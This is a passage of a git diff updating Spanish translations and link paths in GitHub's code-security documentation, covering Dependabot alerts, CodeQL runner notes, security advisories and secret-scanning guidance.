You're analyzing a compiled language on macOS without using the `autobuild` command and you run the build steps yourself after the `init` step. If SIP (System Integrity Protection) is enabled, which is the default on recent versions of OSX, analysis might fail. To fix this, prefix the build command with the `$CODEQL_RUNNER` environment variable. + For example, if your build command is `cmd arg1 arg2`, you should run `$CODEQL_RUNNER cmd arg1 arg2`. -1. El código se compila en un contenedor o en una máquina independiente. Si utilizas una compilación que ya esté en un contenedor o si terciarizas la compilación a otra máquina, asegúrate de ejecutar el {% data variables.product.prodname_codeql_runner %} en el contenedor o en la máquina en donde toma lugar tu tarea de compilación. Para más información, vea "[Ejecución del análisis de código de CodeQL en un contenedor](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)". +1. The code is built in a container or on a separate machine. If you use a containerized build or if you outsource the build to another machine, make sure to run the {% data variables.code-scanning.codeql_runner %} in the container or on the machine where your build task takes place. For more information, see "[Running CodeQL code scanning in a container](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)." diff --git a/translations/es-ES/content/code-security/dependabot/dependabot-alerts/about-dependabot-alerts.md b/translations/es-ES/content/code-security/dependabot/dependabot-alerts/about-dependabot-alerts.md index 7b93d6bb64..da04d1285e 100644 --- a/translations/es-ES/content/code-security/dependabot/dependabot-alerts/about-dependabot-alerts.md +++ b/translations/es-ES/content/code-security/dependabot/dependabot-alerts/about-dependabot-alerts.md @@ -1,6 +1,6 @@ --- -title: About Dependabot alerts -intro: '{% data variables.product.product_name %} sends {% data variables.product.prodname_dependabot_alerts %} when we detect that your repository uses a vulnerable dependency{% ifversion GH-advisory-db-supports-malware %} or malware{% endif %}.' +title: Acerca de las alertas Dependabot +intro: '{% data variables.product.product_name %} envía {% data variables.product.prodname_dependabot_alerts %} cuando detectamos que el repositorio usa una dependencia vulnerable{% ifversion GH-advisory-db-supports-malware %} o malware{% endif %}.' redirect_from: - /articles/about-security-alerts-for-vulnerable-dependencies - /github/managing-security-vulnerabilities/about-security-alerts-for-vulnerable-dependencies @@ -20,87 +20,87 @@ topics: - Repositories - Dependencies shortTitle: Dependabot alerts +ms.openlocfilehash: 737e5547e3aefd6b5c49780df0c78cdc73292ee4 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106745' --- -## About {% data variables.product.prodname_dependabot_alerts %} +## Acerca de {% data variables.product.prodname_dependabot_alerts %} -{% ifversion GH-advisory-db-supports-malware %} -{% data reusables.advisory-database.beta-malware-advisories %} -{% endif %} +{% ifversion GH-advisory-db-supports-malware %} {% data reusables.advisory-database.beta-malware-advisories %} {% endif %} -{% data variables.product.prodname_dependabot_alerts %} tell you that your code depends on a package that is insecure. +Las {% data variables.product.prodname_dependabot_alerts %} indican que el código depende de un paquete que no es seguro. -If your code depends on a package with a security vulnerability, this can cause a range of problems for your project or the people who use it. You should upgrade to a secure version of the package as soon as possible.{% ifversion GH-advisory-db-supports-malware %} If your code uses malware, you need to replace the package with a secure alternative.{% endif %} +Si el código depende de un paquete con una vulnerabilidad de seguridad, esto puede causar una serie de problemas al proyecto o a las personas que lo usan. Debes actualizar a una versión segura del paquete lo antes posible.{% ifversion GH-advisory-db-supports-malware %} Si el código usa malware, debes reemplazar el paquete por una alternativa segura.{% endif %} {% data reusables.security-advisory.link-browsing-advisory-db %} -## Detection of insecure dependencies +## Detección de dependencias no seguras {% data reusables.dependabot.dependabot-alerts-beta %} -{% data variables.product.prodname_dependabot %} performs a scan to detect insecure dependencies, and sends {% data variables.product.prodname_dependabot_alerts %} when: +{% data variables.product.prodname_dependabot %} lleva a cabo un examen para detectar las dependencias no seguras y envía {% data variables.product.prodname_dependabot_alerts %} cuando: {% ifversion fpt or ghec %} -- A new advisory is added to the {% data variables.product.prodname_advisory_database %}. For more information, see "[Browsing security advisories in the {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database)."{% else %} -- New advisory data is synchronized to {% data variables.location.product_location %} each hour from {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.security-advisory.link-browsing-advisory-db %}{% endif %} - {% note %} +- Se agrega un aviso nuevo a {% data variables.product.prodname_advisory_database %}. Para obtener más información, consulta "[Exploración de avisos de seguridad en {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database)."{% else %} +- Se sincronizan nuevos datos de aviso en {% data variables.location.product_location %} cada hora desde {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.security-advisory.link-browsing-advisory-db %}{% endif %} {% note %} - **Note:** Only advisories that have been reviewed by {% data variables.product.company_short %} will trigger {% data variables.product.prodname_dependabot_alerts %}. + **Nota:** Solo los avisos revisados por {% data variables.product.company_short %} desencadenarán {% data variables.product.prodname_dependabot_alerts %}. {% endnote %} -- The dependency graph for a repository changes. For example, when a contributor pushes a commit to change the packages or versions it depends on{% ifversion fpt or ghec %}, or when the code of one of the dependencies changes{% endif %}. For more information, see "[About the dependency graph](/code-security/supply-chain-security/about-the-dependency-graph)." +- Cambia el gráfico de dependencias de un repositorio. Por ejemplo, cuando un colaborador inserta una confirmación para cambiar los paquetes o las versiones de las que depende {% ifversion fpt or ghec %}, o cuando el código de una de las dependencias cambia{% endif %}. Para más información, vea "[Acerca del gráfico de dependencias](/code-security/supply-chain-security/about-the-dependency-graph)". {% data reusables.repositories.dependency-review %} -For a list of the ecosystems that {% data variables.product.product_name %} detects insecure dependencies in, see "[Supported package ecosystems](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)." +Para ver una lista de los ecosistemas en los que {% data variables.product.product_name %} detecta dependencias no seguras, consulta "[Ecosistemas de paquetes admitidos](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)". {% note %} -**Note:** It is important to keep your manifest and lock files up to date. If the dependency graph doesn't accurately reflect your current dependencies and versions, then you could miss alerts for insecure dependencies that you use. You may also get alerts for dependencies that you no longer use. +**Nota:** Es importante mantener actualizados el manifiesto y los archivos de bloqueo. Si el gráfico de dependencias no refleja con exactitud tus versiones y dependencias actuales, es posible que pases por alto las alertas de las dependencias no seguras que usas. También podrías obtener alertas de las dependencias que ya no utilizas. {% endnote %} -## Configuration of {% data variables.product.prodname_dependabot_alerts %} +## Configuración de {% data variables.product.prodname_dependabot_alerts %} {% data reusables.repositories.enable-security-alerts %} -{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %} detects vulnerable dependencies and malware in _public_ repositories and displays the dependency graph, but does not generate {% data variables.product.prodname_dependabot_alerts %} by default. Repository owners or people with admin access can enable {% data variables.product.prodname_dependabot_alerts %} for public repositories. Owners of private repositories, or people with admin access, can enable {% data variables.product.prodname_dependabot_alerts %} by enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} for their repositories. +{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %} detecta dependencias vulnerables y malware en repositorios _públicos_ y muestra el gráfico de dependencias, pero no genera {% data variables.product.prodname_dependabot_alerts %} de forma predeterminada. Los propietarios de repositorios o las personas con acceso administrativo pueden habilitar las {% data variables.product.prodname_dependabot_alerts %} para los repositorios públicos. Los propietarios de los repositorios privados o las personas con acceso administrativo puede habilitar las {% data variables.product.prodname_dependabot_alerts %} si habilitan la gráfica de dependencias y las {% data variables.product.prodname_dependabot_alerts %} para sus repositorios. -You can also enable or disable {% data variables.product.prodname_dependabot_alerts %} for all repositories owned by your user account or organization. For more information, see "[Configuring {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts)." +También puedes habilitar o deshabilitar {% data variables.product.prodname_dependabot_alerts %} para todos los repositorios que pertenezcan a tu cuenta de usuario u organización. Para más información, consulta "[Configuración de {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts)". -For information about access requirements for actions related to {% data variables.product.prodname_dependabot_alerts %}, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#access-requirements-for-security-features)." +Para información sobre los requisitos de acceso para las acciones relacionadas con {% data variables.product.prodname_dependabot_alerts %}, consulta "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#access-requirements-for-security-features)". -{% data variables.product.product_name %} starts generating the dependency graph immediately and generates alerts for any insecure dependencies as soon as they are identified. The graph is usually populated within minutes but this may take longer for repositories with many dependencies. For more information, see "[Managing data use settings for your private repository](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository)." +{% data variables.product.product_name %} empieza a generar el gráfico de dependencias de inmediato y genera alertas de dependencias no seguras en cuanto las identifica. La gráfica se llena en cuestión de minutos habitualmente, pero esto puede tardar más para los repositorios que tengan muchas dependencias. Para obtener más información, vea "[Administración de la configuración de uso de datos para el repositorio privado](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository)". {% endif %} -When {% data variables.product.product_name %} identifies a vulnerable dependency{% ifversion GH-advisory-db-supports-malware %} or malware{% endif %}, we generate a {% data variables.product.prodname_dependabot %} alert and display it {% ifversion fpt or ghec or ghes %} on the Security tab for the repository and{% endif %} in the repository's dependency graph. The alert includes {% ifversion fpt or ghec or ghes %}a link to the affected file in the project, and {% endif %}information about a fixed version. {% data variables.product.product_name %} may also notify the maintainers of affected repositories about the new alert according to their notification preferences. For more information, see "[Configuring notifications for {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts)." +Cuando {% data variables.product.product_name %} identifica una dependencia vulnerable{% ifversion GH-advisory-db-supports-malware %} o malware{% endif %}, generamos una alerta de {% data variables.product.prodname_dependabot %}, que se muestra{% ifversion fpt or ghec or ghes %} en la pestaña "Seguridad" del repositorio y{% endif %} en el gráfico de dependencias del repositorio. La alerta incluye {% ifversion fpt or ghec or ghes %}un vínculo al archivo afectado en el proyecto e {% endif %}información sobre una versión fija. {% data variables.product.product_name %} también podría notificar a los mantenedores de los repositorios afectados sobre la nueva alerta de acuerdo con sus preferencias de notificaciones. Para obtener más información, consulta "[Configuración de notificaciones para {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts)". -{% ifversion fpt or ghec or ghes %} -For repositories where {% data variables.product.prodname_dependabot_security_updates %} are enabled, the alert may also contain a link to a pull request to update the manifest or lock file to the minimum version that resolves the vulnerability. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)." +{% ifversion fpt or ghec or ghes %} En los repositorios donde {% data variables.product.prodname_dependabot_security_updates %} están habilitadas, la alerta también puede contener un vínculo a una solicitud de incorporación de cambios para actualizar el manifiesto o el archivo de bloqueo a la versión mínima que resuelve la vulnerabilidad. Para obtener más información, consulte "[Acerca de {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)". {% endif %} {% warning %} -**Note**: {% data variables.product.product_name %}'s security features do not claim to catch all vulnerabilities{% ifversion GH-advisory-db-supports-malware %} and malware{% endif %}. We actively maintain {% data variables.product.prodname_advisory_database %} and generate alerts with the most up-to-date information. However, we cannot catch everything or tell you about known vulnerabilities within a guaranteed time frame. These features are not substitutes for human review of each dependency for potential vulnerabilities or any other issues, and we recommend consulting with a security service or conducting a thorough dependency review when necessary. +**Nota**: las características de seguridad de {% data variables.product.product_name %} no garantizan que se detectarán todas las vulnerabilidades{% ifversion GH-advisory-db-supports-malware %} y malware{% endif %}. Mantenemos {% data variables.product.prodname_advisory_database %} activamente y generamos alertas con la información más actualizada. Aun así, no podemos detectarlo todo ni informarle sobre vulnerabilidades conocidas dentro de un plazo garantizado. Estas características no sustituyen la revisión humana de posibles vulnerabilidades u otras incidencias en cada dependencia, y se recomienda consultar con un servicio de seguridad o realizar una revisión exhaustiva de las dependencias cuando sea necesario. {% endwarning %} -## Access to {% data variables.product.prodname_dependabot_alerts %} +## Acceder a las {% data variables.product.prodname_dependabot_alerts %} -You can see all of the alerts that affect a particular project{% ifversion fpt or ghec %} on the repository's Security tab or{% endif %} in the repository's dependency graph. For more information, see "[Viewing and updating {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts)." +Puede ver todas las alertas que afectan a un proyecto determinado{% ifversion fpt or ghec %} en la pestaña "Seguridad" del repositorio o{% endif %} en el gráfico de dependencias del repositorio. Para obtener más información, consulte "[Visualización y actualización de {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts)". -By default, we notify people with admin permissions in the affected repositories about new {% data variables.product.prodname_dependabot_alerts %}. {% ifversion fpt or ghec %}{% data variables.product.product_name %} never publicly discloses insecure dependencies for any repository. You can also make {% data variables.product.prodname_dependabot_alerts %} visible to additional people or teams working with repositories that you own or have admin permissions for. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)." +Predeterminadamente, notificamos a las personas con permisos administrativos en los repositorios afectados sobre las {% data variables.product.prodname_dependabot_alerts %} nuevas. {% ifversion fpt or ghec %}{% data variables.product.product_name %} nunca divulga públicamente las dependencias no seguras de un repositorio. También puedes hacer que {% data variables.product.prodname_dependabot_alerts %} sean visibles para otras personas o equipos que trabajan con repositorios de tu propiedad o para los que tienes permisos. Para más información, vea "[Administración de la configuración de seguridad y análisis para el repositorio](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)". {% endif %} -{% data reusables.notifications.vulnerable-dependency-notification-enable %} -{% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} For more information, see "[Configuring notifications for {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts)." +{% data reusables.notifications.vulnerable-dependency-notification-enable %} {% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} Para obtener más información, consulta "[Configuración de notificaciones de {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts)". -You can also see all the {% data variables.product.prodname_dependabot_alerts %} that correspond to a particular advisory in the {% data variables.product.prodname_advisory_database %}. {% data reusables.security-advisory.link-browsing-advisory-db %} +También puedes ver todas las {% data variables.product.prodname_dependabot_alerts %} que se corresponden con un aviso concreto en {% data variables.product.prodname_advisory_database %}. {% data reusables.security-advisory.link-browsing-advisory-db %} {% ifversion fpt or ghec or ghes %} -## Further reading +## Información adicional -- "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)" -- "[Viewing and updating {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts)"{% endif %} -{% ifversion fpt or ghec %}- "[Privacy on {% data variables.product.prodname_dotcom %}](/get-started/privacy-on-github)"{% endif %} +- "[Acerca de {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)" +- "[Visualización y actualización de {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts)"{% endif %} {% ifversion fpt or ghec %}- "[Privacidad de {% data variables.product.prodname_dotcom %}](/get-started/privacy-on-github)"{% endif %} diff --git a/translations/es-ES/content/code-security/dependabot/index.md b/translations/es-ES/content/code-security/dependabot/index.md index 757cd057ed..30199d78d6 100644 --- a/translations/es-ES/content/code-security/dependabot/index.md +++ b/translations/es-ES/content/code-security/dependabot/index.md @@ -1,7 +1,7 @@ --- -title: Keeping your supply chain secure with Dependabot +title: Mantenimiento de la seguridad de la cadena de suministro con Dependabot shortTitle: Dependabot -intro: 'Monitor vulnerabilities in dependencies used in your project{% ifversion fpt or ghec or ghes %} and keep your dependencies up-to-date{% endif %} with {% data variables.product.prodname_dependabot %}.' +intro: 'Supervisa las vulnerabilidades en las dependencias usadas en el proyecto{% ifversion fpt or ghec or ghes %} y mantén actualizadas las dependencias{% endif %} con {% data variables.product.prodname_dependabot %}.' allowTitleToDifferFromFilename: true versions: fpt: '*' @@ -19,5 +19,11 @@ children: - /dependabot-security-updates - /dependabot-version-updates - /working-with-dependabot +ms.openlocfilehash: a3a79cc975a019b80414fcf9387848a55aee39d2 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109868' --- diff --git a/translations/es-ES/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md b/translations/es-ES/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md index 9c14fe91d4..c9c65be814 100644 --- a/translations/es-ES/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md +++ b/translations/es-ES/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md @@ -35,7 +35,7 @@ You can create a default security policy for your organization or personal accou {% endtip %} {% ifversion fpt or ghec %} -After someone reports a security vulnerability in your project, you can use {% data variables.product.prodname_security_advisories %} to disclose, fix, and publish information about the vulnerability. For more information about the process of reporting and disclosing vulnerabilities in {% data variables.product.prodname_dotcom %}, see "[About coordinated disclosure of security vulnerabilities](/code-security/security-advisories/about-coordinated-disclosure-of-security-vulnerabilities#about-reporting-and-disclosing-vulnerabilities-in-projects-on-github)." For more information about repository security advisories, see "[About repository security advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)." +After someone reports a security vulnerability in your project, you can use {% data variables.product.prodname_security_advisories %} to disclose, fix, and publish information about the vulnerability. For more information about the process of reporting and disclosing vulnerabilities in {% data variables.product.prodname_dotcom %}, see "[About coordinated disclosure of security vulnerabilities](/code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities#about-reporting-and-disclosing-vulnerabilities-in-projects-on-github)." For more information about repository security advisories, see "[About repository security advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)." {% data reusables.repositories.github-security-lab %} {% endif %} diff --git a/translations/es-ES/content/code-security/getting-started/github-security-features.md b/translations/es-ES/content/code-security/getting-started/github-security-features.md index 081272149c..548f75f490 100644 --- a/translations/es-ES/content/code-security/getting-started/github-security-features.md +++ b/translations/es-ES/content/code-security/getting-started/github-security-features.md @@ -61,7 +61,7 @@ You can find the dependency graph on the **Insights** tab for your repository. F {% ifversion security-overview-displayed-alerts %} ### Security overview -The security overview allows you to review security configurations and alerts, making it easy to identify the repositories and organizations at greatest risk. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)." +The security overview allows you to review security configurations and alerts, making it easy to identify the repositories and organizations at greatest risk. For more information, see "[About security overviews](/code-security/security-overview/about-the-security-overview)." {% else %} ### Security overview for repositories @@ -114,7 +114,7 @@ Show the full impact of changes to dependencies and see details of any vulnerabl {% else %} ### Security overview for organizations{% ifversion ghes > 3.4 or ghae > 3.4 %}, enterprises,{% endif %} and teams -Review the security configuration and alerts for your organization and identify the repositories at greatest risk. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)." +Review the security configuration and alerts for your organization and identify the repositories at greatest risk. For more information, see "[About security overviews](/code-security/security-overview/about-the-security-overview)." {% endif %} ## Further reading diff --git a/translations/es-ES/content/code-security/getting-started/securing-your-organization.md b/translations/es-ES/content/code-security/getting-started/securing-your-organization.md index 63cff8ac9b..c65b38c9e4 100644 --- a/translations/es-ES/content/code-security/getting-started/securing-your-organization.md +++ b/translations/es-ES/content/code-security/getting-started/securing-your-organization.md @@ -128,7 +128,7 @@ You can view and manage alerts from security features to address dependencies an {% ifversion fpt or ghec %}If you have a security vulnerability, you can create a security advisory to privately discuss and fix the vulnerability. For more information, see "[About repository security advisories](/code-security/security-advisories/about-github-security-advisories)" and "[Creating a security advisory](/code-security/security-advisories/creating-a-security-advisory)." {% endif %} -{% ifversion ghes or ghec or ghae %}You{% elsif fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %}{% endif %} can view, filter, and sort security alerts for repositories owned by {% ifversion ghes or ghec or ghae %}your{% elsif fpt %}their{% endif %} organization in the security overview. For more information, see{% ifversion ghes or ghec or ghae %} "[About the security overview](/code-security/security-overview/about-the-security-overview)."{% elsif fpt %} "[About the security overview](/enterprise-cloud@latest/code-security/security-overview/about-the-security-overview)" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %} +{% ifversion ghes or ghec or ghae %}You{% elsif fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %}{% endif %} can view, filter, and sort security alerts for repositories owned by {% ifversion ghes or ghec or ghae %}your{% elsif fpt %}their{% endif %} organization in the security overview. For more information, see{% ifversion ghes or ghec or ghae %} "[About security overviews](/code-security/security-overview/about-the-security-overview)."{% elsif fpt %} "[About security overviews](/enterprise-cloud@latest/code-security/security-overview/about-the-security-overview)" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %} {% ifversion ghec %} ## Further reading diff --git a/translations/es-ES/content/code-security/getting-started/securing-your-repository.md b/translations/es-ES/content/code-security/getting-started/securing-your-repository.md index 3e84f7c163..94ff4b1ba5 100644 --- a/translations/es-ES/content/code-security/getting-started/securing-your-repository.md +++ b/translations/es-ES/content/code-security/getting-started/securing-your-repository.md @@ -116,7 +116,7 @@ To enable {% data variables.product.prodname_dependabot_version_updates %}, you ## Configuring {% data variables.product.prodname_code_scanning %} -You can set up {% data variables.product.prodname_code_scanning %} to automatically identify vulnerabilities and errors in the code stored in your repository by using a {% data variables.product.prodname_codeql_workflow %} or third-party tool. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." +You can set up {% data variables.product.prodname_code_scanning %} to automatically identify vulnerabilities and errors in the code stored in your repository by using a {% data variables.code-scanning.codeql_workflow %} or third-party tool. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." {% data variables.product.prodname_code_scanning_capc %} is available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations that are part of an enterprise with a license for {% else %}for organization-owned repositories if your enterprise uses {% endif %}{% data variables.product.prodname_GH_advanced_security %}. diff --git a/translations/es-ES/content/code-security/guides.md b/translations/es-ES/content/code-security/guides.md index 0c85497495..9b2f2e9850 100644 --- a/translations/es-ES/content/code-security/guides.md +++ b/translations/es-ES/content/code-security/guides.md @@ -53,8 +53,8 @@ includeGuides: - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system - - /code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities - /code-security/repository-security-advisories/about-github-security-advisories-for-repositories + - /code-security/security-advisories/repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository - /code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory - /code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability - /code-security/repository-security-advisories/creating-a-repository-security-advisory @@ -63,7 +63,10 @@ includeGuides: - /code-security/repository-security-advisories/publishing-a-repository-security-advisory - /code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory - /code-security/repository-security-advisories/withdrawing-a-repository-security-advisory - - /code-security/repository-security-advisories/best-practices-for-writing-repository-security-advisories + - /code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities + - /code-security/security-advisories/guidance-on-reporting-and-writing/best-practices-for-writing-repository-security-advisories + - /code-security/security-advisories/guidance-on-reporting-and-writing/privately-reporting-a-security-vulnerability + - /code-security/security-advisories/guidance-on-reporting-and-writing/managing-privately-reported-security-vulnerabilities - /code-security/security-overview/about-the-security-overview - /code-security/security-overview/filtering-alerts-in-the-security-overview - /code-security/security-overview/viewing-the-security-overview @@ -89,11 +92,11 @@ includeGuides: - /code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph - /code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api - /code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository -ms.openlocfilehash: 0d88d53ceab2204eec9038d6726eb851d55ab495 -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: 2c22dbc00b2188e78fbd977b775bc971697926ec +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: '147578558' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159217' --- diff --git a/translations/es-ES/content/code-security/index.md b/translations/es-ES/content/code-security/index.md index e9d02c2953..ca08534264 100644 --- a/translations/es-ES/content/code-security/index.md +++ b/translations/es-ES/content/code-security/index.md @@ -23,7 +23,7 @@ featuredLinks: popular: - '{% ifversion ghes %}/admin/release-notes{% endif %}' - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies - - /code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities + - /code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot diff --git a/translations/es-ES/content/code-security/secret-scanning/about-secret-scanning.md b/translations/es-ES/content/code-security/secret-scanning/about-secret-scanning.md index 17e96efea3..0f05dc92ed 100644 --- a/translations/es-ES/content/code-security/secret-scanning/about-secret-scanning.md +++ b/translations/es-ES/content/code-security/secret-scanning/about-secret-scanning.md @@ -96,7 +96,7 @@ For more information about viewing and resolving {% data variables.product.prodn Repository administrators and organization owners can grant users and teams access to {% data variables.product.prodname_secret_scanning %} alerts. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)." {% ifversion ghec or ghes or ghae > 3.4 %} -You can use the security overview to see an organization-level view of which repositories have enabled {% data variables.product.prodname_secret_scanning %} and the alerts found. For more information, see "[Viewing the security overview](/code-security/security-overview/viewing-the-security-overview)." +You can use the security overview to see an organization-level view of which repositories have enabled {% data variables.product.prodname_secret_scanning %} and the alerts found. For more information, see "[Viewing security overviews](/code-security/security-overview/viewing-the-security-overview)." {% endif %} {%- ifversion ghec or ghes or ghae %}You can also use the REST API to diff --git a/translations/es-ES/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md b/translations/es-ES/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md index e9bad376b3..9ea660da32 100644 --- a/translations/es-ES/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md +++ b/translations/es-ES/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md @@ -70,6 +70,9 @@ shortTitle: Manage secret alerts Once a secret has been committed to a repository, you should consider the secret compromised. {% data variables.product.prodname_dotcom %} recommends the following actions for compromised secrets: - For a compromised {% data variables.product.prodname_dotcom %} {% data variables.product.pat_generic %}, delete the compromised token, create a new token, and update any services that use the old token. For more information, see "[Creating a {% data variables.product.pat_generic %} for the command line](/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line)." +{%- ifversion token-audit-log %} + - {% ifversion ghec %}If your organization is owned by an enterprise account, identify{% else %}Identify{% endif %} any actions taken by the compromised token on your enterprise's resources. For more information, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)." +{%- endif %} - For all other secrets, first verify that the secret committed to {% data variables.product.product_name %} is valid. If so, create a new secret, update any services that use the old secret, and then delete the old secret. {% ifversion ghec %} diff --git a/translations/es-ES/content/code-security/security-advisories/global-security-advisories/about-the-github-advisory-database.md b/translations/es-ES/content/code-security/security-advisories/global-security-advisories/about-the-github-advisory-database.md index 0425ed2dec..3e254572b4 100644 --- a/translations/es-ES/content/code-security/security-advisories/global-security-advisories/about-the-github-advisory-database.md +++ b/translations/es-ES/content/code-security/security-advisories/global-security-advisories/about-the-github-advisory-database.md @@ -19,6 +19,8 @@ topics: {% data reusables.repositories.tracks-vulnerabilities %} +Security advisories are published as JSON files in the Open Source Vulnerability (OSV) format. For more information about the OSV format, see "[Open Source Vulnerability format](https://ossf.github.io/osv-schema/)." + ## About types of security advisories {% data reusables.advisory-database.beta-malware-advisories %} diff --git a/translations/es-ES/content/code-security/security-advisories/guidance-on-reporting-and-writing/index.md b/translations/es-ES/content/code-security/security-advisories/guidance-on-reporting-and-writing/index.md index eb28ed0891..07af13cd10 100644 --- a/translations/es-ES/content/code-security/security-advisories/guidance-on-reporting-and-writing/index.md +++ b/translations/es-ES/content/code-security/security-advisories/guidance-on-reporting-and-writing/index.md @@ -11,12 +11,15 @@ topics: - Repositories - CVEs children: + - /about-coordinated-disclosure-of-security-vulnerabilities - /best-practices-for-writing-repository-security-advisories -ms.openlocfilehash: 71eb2be3bc1590536bdb43f9bb08953859924748 -ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 + - 